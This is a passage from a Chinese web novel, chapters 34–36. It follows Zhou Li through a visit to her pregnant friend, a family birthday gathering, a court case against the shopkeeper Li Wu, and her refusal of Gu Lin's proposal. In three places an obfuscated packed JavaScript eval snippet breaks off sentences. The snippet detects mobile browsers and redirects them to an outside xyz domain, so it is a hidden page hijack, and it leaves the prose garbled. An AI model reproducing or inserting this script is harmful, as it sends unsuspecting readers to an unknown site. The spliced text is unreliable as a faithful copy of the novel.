陆志远没想到周梨是这样的态度，毕竟顾临见他都是笑脸相待。他开口道：“那难道周姑娘是怪我把你送给了顾大人，这不能吧？若是这件事，我以为周姑娘会对我感激不尽呢！” 周梨今日本就心情低落，懒得跟他们多话，可此刻竟从陆志远嘴里听到些挟恩图报的意思，当真不可思议。 顾临马上出征剿匪在即，恐怕还没时间处理他们，她怕坏了顾临的事，便虚与委蛇道：“正因如此才更要跟东家避嫌，东家的恩典我铭记在心。” 陆志远一想也是，才笑道：“姑娘言重了，没忘了来时路就好，以后还请姑娘在顾大人面前，多为在下美言几句。” “好说好说。” 周梨腹诽着逃离他们，又跑到井水巷，个把月没见楚云，她眼角眉梢的气韵，竟都与往日已大不同。 周梨摸着她还不显怀的肚子，打趣道：“瞧你这慈爱的神情，不知道的还以为你都已经做母亲了呢！” 楚云轻轻打了周梨几下，笑瞋道：“这么久不来看我，一瞧见我就没好话，再晚点你都找不到我了。” 周梨听了这话，收了笑问道：“怎么？” 楚云道：“前几日，陈冕的夫人来过，说既知道我已有身孕，是断没有让我只身在外的道理，过几日要抬我进陈家门。” “你已经答应了？”周梨有些担忧地问道。 楚云应道：“嗯，夫人端庄大方，温和有礼，陈冕也说他夫人极好，定会好好待我和孩子的。我就算不为自己想，也该为孩子打算，总要认祖归宗的。” 周梨拉楚云的手：“既如此。那你定要好生照顾自己，深宅大院的，我怕是再难去看你。” 楚云却笑道：“你如今的身份，要进陈家去看我应也不难。” 周梨瞪了她一眼：“连你也要取笑我吗？” 楚云疑惑道：“怎么是取笑呢？听说那位大人一表人才，年纪轻轻就身居高位，又武艺高强，还能百步穿杨。难道你还看不上吗？” 周梨觉得好笑，顾临的游侠梦可是要在传言里实现了呢！ 她笑道：“是是，不仅如此，他还身轻如燕，会飞檐走壁。” 楚云笑着在她脸上又拧了一把道：“没个正形，我跟你说正经的。你不知道你现在被多少人羡慕嫉妒呢！难道你不喜欢他，还是他待你不好？若真要这样，怕是以你的性子，早离开了。” 周梨见她不肯放过这个话题，只好道：“他待我很好，只是不会长久，所以不提也罢。” 楚云斜睨着她还要再问，她却岔开话题问道：“你最近有没有听到吴娘子的消息，她怎么样了？”今日见那两个还好好的，竟然没有为吴娘子生了嫌隙？ 楚云叹了口气道：“前些天楼里有姐妹来看我，也说到她，只听说被送到乡下庄子去养病了，也没人再见着。你说之前多风光啊，也不知道发生了什么，怎么就突然这样了？要说是因为娶你，可又把你送出去了，最近又才娶的新夫人，也不知道哪家的，听说才十五六岁，这陆志远真是薄情寡义！” 周梨趁机告诫道：“所以别怪我说话不好听，你也得留心，要有些防备，给自己留条退路。不能全部指望在陈冕身上，他家里肯定是规矩多的，他就算待你再好，很多事情也不是自己能全权做主的。” 楚云不以为然，反而劝她道：“阿梨，我知道你担心我，但是真心从来都是相互的，对最亲近之人都不能坦诚以待，全心信任，那还有什么意思？你从前到底经历过什么，也从不跟我说。你有时候实在是过于清醒，清醒得有些凉薄。人不能总因为没发生的事，就早早困住自己。现在这位大人，你该好好把握才是，怎么能好好就断言不会长久呢？” 周梨没想到这话题还能岔回来，但这其中种种本是断不能与楚云言的，又不想她孕中还为自己忧虑，就笑着应承道：“你说得对，是我不会说话，我定能与大人白头偕老。” 楚云笑斥道：“你呀，就知道敷衍我。若是真能这么想，才好呢！” 周梨点头，并不想再提及与顾临之事，转而问她近来胃口如何，有没有什么不适，二人又叙了许久话，到午后楚云渐显疲倦时，方才依依分别。 周梨许久未独自出门，因着明日便是舅妈生日，便又去挑礼物挑了半日，回府时天已渐黑。想着今日也不用给顾临送药，便也没打算去书房。慢悠悠吃完饭，洗漱完，上床又似乎还早。最近几乎每晚都在书房盯着顾临喝药和画图，临睡了才回来，如今待在自己房里，烛火映出自己的影子，更显得心里空落落的，有些无所适从。正要找点事做，以免胡思乱想，就听门被敲了几下，是顾临的声音：“阿梨，睡了吗？” 周梨听到自己的心跳如擂鼓，就算是告诉自己千万遍不能，每天能见到他，听到他的声音，心里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338594|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是会有许多期盼和欣喜。 她深吸一口气，走过去开了门，顾临笑望着她，手里还捧着只匣子。她问道：“大人有什么事吗？” 顾临径自走进去，在桌边坐下，顺手将匣子放下道：“听闻舅母明日生辰，我准备了份礼物聊表心意。” 周梨奇道：“大人如何知道的？”说着也走到桌边坐下。 “郭云告诉我的。”顾临时常路过张兰店里，就给周梨买些吃食带回来，遇到过郭云几次，便也熟了。前几日郭云说他外婆生辰，问他可也来，他才知晓。他知道周梨定不会告诉他，前两次周梨归家，他要相陪，都被拒绝了，这次大概也不会想他同去。只是今日整日没见着她，总觉得浑身都不自在，想来想去，才借着这个由头来看看她。 周梨笑道：“小孩家家不懂事，大人不要见怪，实在不必破费的。” “不过是寻常之物，就收下吧，明日我……” 顾临还没说完，周梨就打断道：“好，那我替舅妈谢谢大人，明日大人自去忙，我会将这礼物带去的。” 顾临望着她不语，虽然果如他所料，但还是有一股失落之感袭上心头，明明每日也是笑语晏晏对着自己，却总是像隔着一层什么似的，让人琢磨不透。当真像朱妈说的，是介意他会另娶夫人才如此吗？ 周梨见他沉默，主动跟他说道：“我今天碰见陆志远和李掌柜了，看他们的样子，倒真像没事人似的。如果不是有大人，怕是他们确实就像如今一样，没有一点影响。” 顾临问道：“他们说了什么吗？” 周梨苦笑道：“让我不忘来时路，记得要好好感激他们。大人您说可不可笑呢？不顾我的意愿，给我强喂了那种药送人，到头来却还觉得我应该谢他？若不是遇上大人，我还有什么活路吗？为什么这些人可以这样丝毫不顾他人死活呢？” “阿梨，对不起，是我让你受了许多委屈。”顾临有些歉疚地对周梨道，“这件事情是我压得太久了。我正要告诉你，这两日我已经在准备查办仁安堂通匪之事了。” 周梨疑惑道：“大人不是快要出征剿匪了吗？我只是有些难过，我没有逼大人的意思，大人跟我说过要等时机，我记得的。” 顾临道：“是的，正是这个时机，到时可能还有许多事会烦累到你。” 周梨虽不太明白，却笑道：“那有什么要紧，本来就是因我而起，事情能快点结束了就很好。” 大人身体已经好很多了，以后只要朱妈按她的嘱咐，好好照顾，总没有大问题的，等仁安堂的事情告一段落，她便可以离开了。可她分不清是欣喜更多一些，还是不舍更多一些。 顾临明白她在想什么，他以为这些时日的相处，能改变她一些想法，却原来都是自己自作多情，她从来都没想过要留在他身边，一旦事了就是要离开的。到底为什么？ 他究竟要如何才能留住她？ 35. 共枕 郑氏今年不过是个小生辰，原本打算也只是喊张兰和阿梨回来吃个饭而已。没想到李氏和梅香也带着礼来，邻里来恭贺的竟也不少，张进只得临时去酒楼叫了两桌席，在院里摆上，也留了这些婶子媳妇吃饭。 不多时周梨回来，见满院子的人，张兰和秀珍在忙不迭地招呼，倒十分纳罕。李氏先看到她，笑脸迎上来道：“表姑娘回来啦。”说着还不住往她身后张望，问道：“巡抚大人没一起来吗？”郭云跟在李氏身后，竟也是一样的神色。 周梨摇摇头，心道：“幸好没一起来，这阵仗也不知是要做什么？” 秀珍忙过来，接过礼物，将周梨拉到郑氏旁边坐着，可儿和羽儿可算找着机会，都钻到周梨的怀里，她笑着逗了他们一会，才与郑氏说了几句吉祥话。 李氏和梅香也都过来在旁边坐下，李氏跟旁边的刘阿婆说道：“我们家这个表姑娘啊，八字好。前几年她舅妈还老为她的婚事忧虑，我就说她这人品样貌定是有前程的，你看吧，这最好的在后面呢！这十里八乡，哪家姑娘能有这好福气？” 刘阿婆忙接道：“谁说不是呢！她刚来的时候，我就说这姑娘长得这样好看，将来一定有造化。” 姚嫂子也抢道：“就阿梨那次被山匪劫了，倒真真是因祸得福啊，不就那次遇上的巡抚大人？上次衙门的人来我们巷子里敲锣打鼓，来谢阿梨，我那时就跟你们好些人说过吧，巡抚大人恐怕是看上了我们阿梨，现在看我说得对不对？” 满院子的人都纷纷附和，反正就都是早知道周梨是有福气的。 这时，又有两个衙差捧了礼进来，张进见了忙过来问：“你们俩这是做什么？” 二人忙道：“是县太爷，他问你怎么今日没去，我们就说是令堂生辰，特告了假的，他就急忙命人备了这礼，让我们送来的。” 张进皱眉，只好先收下。李氏笑着要拉周梨的手，周梨不着痕迹地挪开，她也不尴尬，继续道：“你们看表姑娘的面子多大，如今我们姑爷在衙门里也是让人高看一眼。” 梅香接道：“戏文里一句话怎么说的来着？什么一人得道，鸡犬升天，表姑娘如今得道了，也该想着我们点才是。” 张兰在一旁刚好听到，走过来没好气道：“你们还真说得出口，之前逼着……”可话还没说完，周梨一把拉住了她对她摇了摇头，大庭广众与他们冲突，不过是让郑氏和秀珍难堪罢了。 张兰见周围都是瞪大眼睛，看热闹的，郑氏也在用眼神示意她收敛，她只得忍了，本来只是想一家人好好吃个饭，怎么就成了这样子？ 周梨见她没继续发作，便松开了手，可儿握着她的大拇指问道：“小姑姑，你这只手指怎么这么红？” 周梨笑道：“可能是沾了胭脂，小姑姑忘记洗手了。” 其实是她出门前，顾临拿了状纸让她按了个手印，说是今天就会交到知府衙门里去，这段时间遭遇的种种，很快就要都了结了。可她明白，就算了结了，这白衣巷她也是再回不来了。 郭云买好药急急往回走时，却见顾临的马车从身旁驶过，他忙追上去喊住，顾临听到他的声音，掀开了车帘。 郭云问道：“小姨父，您去哪儿？今日不是说去我外婆家的，怎么没去？” 顾临笑道：“你小姨她不带我去，现在正要回府，你不在白衣巷，怎么跑到了这里？” 郭云拎起手中的纸包道：“小姨酒喝得有些多，我娘让我出来买些醒酒汤回去备着。” 顾临问道：“不是说就家里人吃饭吗？怎么还喝许多酒？” 郭云口无遮拦道：“也不知道哪里来那么多讨厌的人，都说我小姨如今飞上高枝了，都抢着给她敬酒。小姨也懒得跟他们多话，谁敬酒都接着喝了了事，可不就多了。” 顾临皱了皱眉，对郭云道：“上车吧，去白衣巷。” 太阳渐渐西斜，来凑了半天热闹地邻居们才慢慢散了。李氏却仍旧坐在周梨身边说些奉承话，秀珍在忙着收拾，也没空制止她。 周梨还拿着酒杯，有一搭没一搭地喝着，却是越喝越觉烦闷不已，也不知一醉解千愁是不是胡说八道。 郑氏夺过她手里的酒道：“阿梨，别喝了，再喝真醉了难受。” 周梨也没去抢，趴在桌上手撑着脑袋，确实已头晕目眩。 郑氏看她样子又叹了口气：“就不该叫你回来的。” 李氏却道：“那怎么能，你养了她这些年，这点孝心都没有那成什么样子？倒真是个好孩子，没有一朝得了势就忘了本，今天没有驳了你的面子。” 郑氏冷冷道：“嫂子，今日多谢你们能来，时候不早了，你们也该回去了。” “不急，我话还没说完呢。”李氏笑着又对周梨道，“表姑娘，你该听我一句劝，趁现在得宠，要多想着为娘家人谋些好处，到时候不如现在风光了，也有些倚仗。像我们家姑爷当了这么多年捕头，累死累活又能挣几个钱，让大人给调到哪个肥缺上，不是一句话的事？还有你郑家表兄，因为你的事受累，现在还闲在家里，给他也在衙门里寻个轻省的活计，想也不难。” 周梨渐渐埋头在了桌子上：“舅母，您就别费口舌了，我不会帮你们谋什么好处的。” 李氏还待再说，梅香已不耐烦：“娘，别说了，热脸贴人家冷屁股。要我说她就没那能耐，不过是被当玩物一样送人的，你以为她能多得宠呢！说不定过不了多久，新鲜劲过了，就当丢破鞋一样丢了。” “小蹄子，你说的什么烂嘴的话！”郑氏气极，拿起手里的酒杯就砸了过去，不过准头不行，从梅香耳边擦过，碎在了刚走进来的郭云脚边。 郭云被吓了一跳，拍了拍自己的胸脯喊道：“你们做什么呀？” 听到声音，在别处忙活的几人也都跑过来，张进先看到了郭云身后的顾临，忙上前去行礼：“卑职参加顾大人。” 顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351004|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临道：“兄长不必多礼。” 说着便走向桌前，向刚砸酒杯的老太太行礼作揖道：“小婿顾临见过舅母，今日舅母生辰，没有陪阿梨同来庆贺，还请舅母勿怪。” 郑氏本在盛怒之中，情绪硬生生被切断，竟有些不知所措，只说道：“无妨无妨。” 李氏和梅香见状，心里揣测刚刚的话，怕是被这位大人听到了，不免忐忑难安，大气也不敢出一口。 顾临越过二人，在周梨身旁蹲下身来，轻声唤道：“阿梨，你怎么样？” 周梨觉得天旋地转，大概能听见周围动静，却无论如何抬不起头，用力睁开眼睛，说了声“晕”，也不知别人能不能听见。 顾临又道：“那我带你回家？” 周梨又轻轻“嗯”了一声，顾临将她抱起，向郑氏道：“舅母，我先带阿梨回家，改日再来拜访。” 说着又转身向张进、秀珍和张兰道了声：“告辞。” 最后对着李氏冷声道：“这位婶子，儿媳不知礼，更应教好了再带出门，否则丢人现眼，有辱的是你们自己的门楣。阿梨因为你们差点万劫不复，你们没有丝毫愧疚不说，还恶语伤人，当真是让人长见识。你们若再欺辱阿梨分毫，别怪我不客气。” 二人顿时变了脸色，并不敢言语。张兰看着他们的吃瘪样，一脸得意，高声对着已出院门的顾临喊道：“妹夫慢走，有空常来玩！” 张进皱着眉阻止道：“姐，不可如此称呼，大人客气罢了，你不能不懂礼数！” 话音还没落，又听郭云追出去喊着：“小姨父，把醒酒汤带着。” 周梨自从被顾临抱起，便如八爪鱼般，紧紧箍住顾临，贴在他胸前，仿佛如此她的眩晕感就能消失。 不过也确实很快消失了，因为她在马车上就靠在顾临怀里沉沉睡去。顾临将她抱回房里，想要放到床上时，她却仍然不肯松手。顾临用了些力气，还是拉不下来，索性也就跟她一起躺了下来，让她依旧枕着自己。 本来房门开着，他还在想这也算正大光明，他也没做什么趁人之危的事。不过很快，朱妈就喜滋滋地发现了二人同床共枕，蹑手蹑脚地将房门给带上了。 日头本来就已西沉，关上门房间瞬时变得晦暗，顾临看了眼怀里熟睡的周梨，突然有时光静谧之感，仿佛这世间只剩下他们两人，再无其他纷扰，他在这份安宁中也渐渐睡去。 周梨迷迷糊糊醒来时，已是深夜，在月光的映照下，发现自己竟和顾临睡在一起，她还以为是梦，便依旧肆意地紧抱着。 可真切的气息和心跳，让她逐渐意识清明，轻轻松开顾临，滚到了床里边，背对着顾临再也不动。 顾临早就醒来，见她如此，知她也已清醒。他将错就错，将阿梨没名没分的留在身边，对阿梨的伤害，他竟今日才有直观的感知。 顾临给她盖好被子，起身轻轻退出了房间，心中已明了自己该做什么来弥补。 36. 决绝 转眼入冬，四季交替，周而复始，一年又要进入尾声。陆志远在房里听下面人汇报私盐的收益，心里盘算着就要年关，各处打点如何安排，昌州自然是独一份，官员格局又有变化，正伤神时，陆良匆匆闯进来，看了看周围，欲言又止。 陆志远知道有事，屏退了左右，陆良急道：“刚刚府衙来人，又将李武抓走了。” “什么？府衙抓他做什么？”陆志远着实有些胆战心惊。 陆良道：“我得到消息就去疏通关系打听了，府衙那边只说是有人状告李武，还不止一个案子，别的他们也不敢多说。好像一会就要开堂审案。” 自上次李武被放出来，已经月余，这一个多月，他给顾临又捐钱又捐物，顾临也没再动作，他当真以为顾临确实没有为难他的意思，早已放下心来。如今听说李武又被抓，他却直觉是顾临所为，匆匆又去找王雄。 王雄和陆志远赶到府衙大堂时，邢洵才刚刚坐定，见了王雄忙客气道：“王道台稀客啊，今日怎么来了这里？” 王雄道：“邢知府，不必客气，我只是想来听个审罢了。” 邢洵自从接了顾临手书的状子，便知自己接了个烫手山芋，但他为官多年，当然还能应对，只向王雄笑道：“好好，道台请坐，请坐。” 说完一拍惊堂木，喝道：“带原告和被告。” 衙役们领命，一会便带出孟书吏遗孀于氏和李武，跪倒在地。 邢洵问道：“堂下原告何人，报上名来。” 于氏道：“老身孟于氏，是巡抚衙门孟书吏之妻。” “你状告何人？” “老身状告仁安堂掌柜李武，买凶杀人，致我夫惨死。” 一旁的陆志远听到这话，已冷汗直流，更别提已魂飞魄散的李武。 邢洵问道：“可有证据？” 这时一位姓孟的讼师上前禀道：“在下是于婶娘请的讼师，下面由在下代答知府大人的话。” 邢洵道：“好，你说。” 孟讼师道：“此案人证物证俱在，请大人过目。” 说着将刀和郑虎认罪的供词呈了上来，邢洵看完后问道：“郑虎和程鹏何在？” 又有衙役将两人带上来，邢洵问道：“你二人供词可属实？” 二人也都供认不违，因着连连出事，仁安堂最近老实地不敢联通消息，竟有一段时间没见到程鹏也没发觉。 邢洵又拍了拍惊堂木，向李武喝道：“程鹏、郑虎二人已供认是你指使他们杀的人，李武你可知罪？” 李武已吓得抖如筛糠，却仍强辩道：“大人明察，他们二人胡乱攀咬我，空口白牙怎么就能定了小人的罪呢！” 孟讼师道：“还有人证物证。”说着又让人将严超带上来，并呈上了他之前交代的私银和供词。 王雄看到私银的那一刹那，脸色也变了。 孟讼师继续道：“这便是物证，孟书吏伤重未死之时，在仁安堂医治，李武怕人醒来指证他，特买通严超在仁安堂闹事，意图诱离守门衙役，对孟书吏杀人灭口。当时抓到进门行凶之人来升，不日惨死牢中，大人应该还有印象。刚刚所呈私银便是李武买通严超的证据，大人派人去李武家里搜，应当还能搜到一样的私银。” 邢洵闻言忙发了签子，命人去搜，李武听到这里已瘫倒在地，陆志远也已不住发抖，这案子审得也太过顺利。王雄已在谋划如何断臂求生，让这案子就落在李武和孟书吏的私人恩怨上，也让郑虎和程鹏不要和山匪扯上关系。 邢洵见审得已差不多，刚想退堂将李武收监，旁边的师爷提醒道：“大人，还有一个案子没审呢！” 邢洵这才想起来，这案子审得太过顺畅，所有人证物证都递到手边，已将他整迷糊了。他清了清嗓子道：“带上来吧。” 周梨跟着走上堂来，王雄和陆志远都意外地看着她，听她跪下道：“民女周梨状告仁安堂李武通匪，勾结山匪强抢民女，暗通消息，截杀朝廷命官。” 此言一出，谁还能不明白，这是顾临的手笔？虽是两个案子，却是处处相通，多的证人不过王保军和高个、矮个，程鹏、郑虎依旧供认不讳，李武早已脱不了干系，症结不过在他到底供不供出陆志远。 顾临出征在即，整日里都忙得不见人影，这日回来得还不算太晚，周梨便又过来画没画完的图，静静坐在顾临斜对侧。 平安已在准备行装，总是进进出出，时不时过来问这衣服要不要带，那本书是不是不带。在他第八次转进来要开口时，顾临终于忍无可忍，瞪着他说了两个字：“出去。” 周梨见平安吓得一溜烟跑了，有些好笑，又有些担忧地问道：“大人定了哪天走吗？” 顾临答道：“五日后，大概案子也审完了。” 周梨低头从腰间解下一个荷包，递给顾临：“大人此去，万事小心。” 顾临接过，有一股药草香味，打开一看，里面还有一张平安符，他心中一暖，笑道：“阿梨，你是担心我吗？” 周梨笑笑道：“大人定会平安归来的。” 怎么能不担心，刀剑无眼，万一有个什么，她根本都不敢去想，可她什么也做不了。她从前说她不信这些，现在却只能诉诸于这些。她打算不等顾临回来就走了，能给顾临的也只有这无用的祝福。 顾临有些动容，终于有了机会，拉起周梨的手到旁边榻上坐下，又打开榻上小案中摆的匣子才道：“阿梨，等我回来，你嫁给我可好？” 周梨震惊得说不出话来，她颤抖着想抽回手，顾临却从匣子里拿出一块玉佩，放入她手中：“这算我给你的聘礼，等我回来，我再去跟舅母提亲，三媒六聘娶你做我的夫人可好？” 周梨低头看着手中的羊脂白玉，温润通透，心中却有万般情绪奔涌，顾临温声道：“这玉虽不值钱，却是祖父送我的，说已传承上百年，是我身边最贵重之物了。” 这些满是情谊的话语，让周梨心如刀绞，她将玉佩又放回匣中，抬头强笑道：“大人说什么玩笑话，说好了等事了了，我就可以走了。” 顾临一脸诚挚道：“阿梨，我没有玩笑，我知道这些日子让你受了许多委屈，我是真心想娶你为妻。” 周梨听了这话，心更痛得喘不过气，缓了半晌才又道：“大人，您看我们的身份匹配吗？人人都知道我已是您的妾了，谁会再娶妾做妻，不是多此一举，让人笑掉大牙吗？何况大人的家人又怎么会同意呢？父母之命，而后才有媒妁之言。” “我不在乎别人笑不笑，这在我看来不是多此一举，我能做自己的主，我就是喜欢你才想娶你，与身份又有什么关系？” 周梨见他如此固执，只得道：“大人不在乎，可我有自知之明，我不想做你的夫人，站在不匹配的位置被人笑话。也请大人不要为难我，放我离开。” 顾临没想到周梨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355688|179001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会是这样决绝的回应，他艰难地问道：“你为什么一定要走？你也知道对外人来说，你就是我的人，你这样出去，再让别人恶语相向、肆意嘲笑，就不在意吗？” “我不在意，我和大人清清白白，不需要和他们解释，也不必听他们的胡言乱语！大人不必为我的未来忧虑。” 顾临有如坠冰窖之感，他深邃的眼睛望着周梨道：“哪里清清白白，你我早有肌肤之亲，是你忘记了。” 周梨讶异地看向顾临，顾临歉疚道：“对不起，那晚我也喝多了。” 周梨想明白他说的是哪晚，笑道：“我知道没有。” 顾临却垂眸道：“你左胸距锁骨三指处，有一颗红痣。” 周梨愣住，不再说话，只望着他，不知他到底想做什么。 “那天你告诉我你喜欢我。” 周梨心蓦地慌了，她不知道自己还说了什么，做了什么，她强作镇定：“大人，您知道我那日被喂了药，发生了什么都做不得数的。我对大人只有感激之情。” 顾临不可置信，觉得自己快失去理智：“只有感激之情？” “是。”周梨艰涩地吐出这两个字，压下喉间的哽咽继续道，“大人何不也好好想想，您又能喜欢我什么呢？大概只是怜悯，是同情，您错把……” “我知道我的感情！”顾临无法再忍受，他猛地搂住她的腰，吻住了她的唇，周梨本能地想逃离，却被他摁住了后脑勺，退无可退，她只能承受着这个带着怒意的亲吻，温柔却又霸道，她觉得这感觉陌生又熟悉，脑海中闪过一些画面，让她慢慢由抵抗变成了顺从，却又不住流泪。不知过了多久，顾临好像感觉到她的泪水，才渐渐松开了她。 他看着周梨满面泪痕，懊悔地扶了扶额，也不知自己究竟怎么了。 周梨抹了抹眼泪，心里清楚顾临不会轻易放她走，但是当断则断，她主意已定，冷声问道：“所以大人是因为那晚的事，才不让我离开吗？” “不是的……”顾临想解释，却见周梨已走过来，将衣裳半解，坐到他怀中，勾住他的脖子，也来吻他，仿佛一根缠人的藤，让人闪避不开。 “阿梨，我错了…你别这样好不好…” 顾临想阻止她，可周梨根本也不听他的，边吻边道：“大人若是喜欢，我会好好伺候大人，只求事后大人能放我离开。” 顾临觉得心好似被千万根针扎了似的痛，他用力拉下周梨的手，替她掩好衣裳，痛心地看着她道：“为了离开我，如此都愿意吗？” 周梨依旧笑道：“本来还愁无以为报，若这皮囊能博君一笑，为什么不可以？” “若是别人救的你，你也要这样报答吗？” “是。”周梨的声音好似没有温度。 顾临沉默了好久，才惨然一笑：“是啊，为了报恩可以答应嫁给秦皓。怎么就不能为了报恩献身他人呢？” 他轻轻将周梨推开，落寞地走出了书房，再没有看周梨一眼。 周梨好像整颗心都被掏空了，她呆望着匣中玉佩，悲痛难忍，却流不出一滴泪。都是自己的选择，又伤心什么呢？ 楚云说人不能被没发生的事情困住，可是她不敢赌，她见识过皇权生杀予夺的可怕，一夕之间，什么都可以倾覆。 官场就那么大，她怕总有人会认出她。为了自己的私心，待在顾临身边这样显眼的位置，一朝身份败露，得连累多少人呢？